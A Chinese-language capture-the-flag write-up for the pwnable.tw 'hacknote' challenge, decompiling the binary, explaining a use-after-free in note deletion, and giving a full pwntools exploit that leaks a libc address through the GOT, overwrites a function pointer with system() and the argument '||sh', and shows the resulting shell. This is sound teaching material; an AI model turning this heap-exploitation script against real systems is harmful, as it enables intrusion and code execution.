hacknote(UAF)
TOC
- 1. 功能
- 2. 漏洞
- 3. 思路
来自https://pwnable.tw/challenge/的hacknote ,该题靶机的glibc版本是2.23。
源程序、相关文件下载:hacknote.zip 。
功能
int print_menu() { puts("----------------------"); puts(" HackNote "); puts("----------------------"); puts(" 1. Add note "); puts(" 2. Delete note "); puts(" 3. Print note "); puts(" 4. Exit "); puts("----------------------"); return printf("Your choice :"); }
|
如上所示,程序主要提供了三个功能,增加笔记,删除笔记,输出笔记。
增加笔记
unsigned int add_note() { _DWORD *v0; signed int i; int size; char buf; unsigned int v5;
v5 = __readgsdword(0x14u); if ( global_amount <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !ptr[i] ) { ptr[i] = malloc(8u); if ( !ptr[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)ptr[i] = puts_4; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = ptr[i]; v0[1] = malloc(size); if ( !*((_DWORD *)ptr[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)ptr[i] + 1), size); puts("Success !"); ++global_amount; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
|
该程序向系统申请了两次内存,一次是固定的大小,一个是用户指定大小。
这里的的ptr的数据结构应该是很容易看出来的,就是下面这种结构:
typedef struct note { void (* print)(note *); char *str; }note;
note *ptr[5];
|
删除笔记
unsigned int delete_note() { int v1; char buf; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= global_amount ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) { free(*((void **)ptr[v1] + 1)); free(ptr[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
|
该函数在free后并没有将指针设为NULL,可能存在UAF漏洞。
输出笔记
unsigned int print_node() { int v1; char buf; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= global_amount ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); return __readgsdword(0x14u) ^ v3; }
|
这里调用了note的print方法。
漏洞
global_amount仅仅在add_note的时候会自增,但是在delete_note的时候却没有自减,所以直接导致了UAF漏洞,具体方法是先在add_note时申请一块大内存,因为大内存释放后是不会放在fastbin的,然后在申请一块小内存,这样就会导致堆成链。
思路
先创造出合适的fastbin环境,下面的方法就刚好塑造了3个fastbin,可以方便成链:
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('160') sh.recvuntil(':') sh.sendline('nothing')
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('8') sh.recvuntil(':') sh.sendline('nothing')
sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline('1')
sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline('0')
|
然后再泄露libc的基地址,这里我直接将note->str指针指向了__libc_start_main的got地址:
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('8')
e = [ 0x804862B, elf.got['__libc_start_main'] ] sh.recvuntil(':') sh.sendline(flat(e)) sh.recvuntil(':')
sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline('1')
__libc_start_main_addr = u32(sh.recvuntil(':')[:4]) log.success('__libc_start_main_addr :' + hex(__libc_start_main_addr)) libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main'] log.success('libc_base_addr :' + hex(libc_base_addr))
|
在第二步之前,我们先来看看puts_4的代码:
int __cdecl puts_4(int a1) { return puts(*(const char **)(a1 + 4)); }
|
可以看出,这里的的参数有4字节的偏移,传入的应该是note指针,而并不是note->str指针,我在这里堵了好久,最后看了这位大佬的writeup(https://blog.csdn.net/qq_35429581/article/details/78231443 by Kdongdong)才懂的,可以用&&sh,||sh,;sh来绕过:
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('8')
system_addr = libc.symbols['system'] + libc_base_addr log.success('system_addr: ' + hex(system_addr)) e = [ system_addr, '||sh' ] sh.recvuntil(':') sh.sendline(flat(e))
|
综上所述,最终的脚本:
from pwn import * import os
libc_file = '/lib/i386-linux-gnu/libc.so.6'
libc = ELF(libc_file) elf = ELF('./hacknote')
sh = process('./hacknote')
try: f = open('/tmp/pid', 'w') f.write(str(proc.pidof(sh)[0])) f.close() except Exception as e: pass
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('160') sh.recvuntil(':') sh.sendline('nothing')
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('8') sh.recvuntil(':') sh.sendline('nothing')
sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline('1')
sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline('0')
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('8')
e = [ 0x804862B, elf.got['__libc_start_main'] ] sh.recvuntil(':') sh.sendline(flat(e)) sh.recvuntil(':')
sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline('1')
__libc_start_main_addr = u32(sh.recvuntil(':')[:4]) log.success('__libc_start_main_addr :' + hex(__libc_start_main_addr)) libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main'] log.success('libc_base_addr :' + hex(libc_base_addr))
sh.sendline('2') sh.recvuntil(':') sh.sendline('2')
sh.recvuntil(':') sh.sendline('1') sh.recvuntil(':') sh.sendline('8')
system_addr = libc.symbols['system'] + libc_base_addr log.success('system_addr: ' + hex(system_addr)) e = [ system_addr, '||sh' ] sh.recvuntil(':') sh.sendline(flat(e)) sh.recvuntil(':')
sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline('1')
sh.interactive()
|
结果如下:
ex@Ex:~/test$ ./main.py [*] '/home/ex/test/libc_32.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/ex/test/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [+] Opening connection to chall.pwnable.tw on port 10102: Done [+] __libc_start_main_addr :0xf75d3540 [+] libc_base_addr :0xf75bb000 [+] system_addr: 0xf75f5940 [*] Switching to interactive mode $ id uid=1000(hacknote) gid=1000(hacknote) groups=1000(hacknote) $
|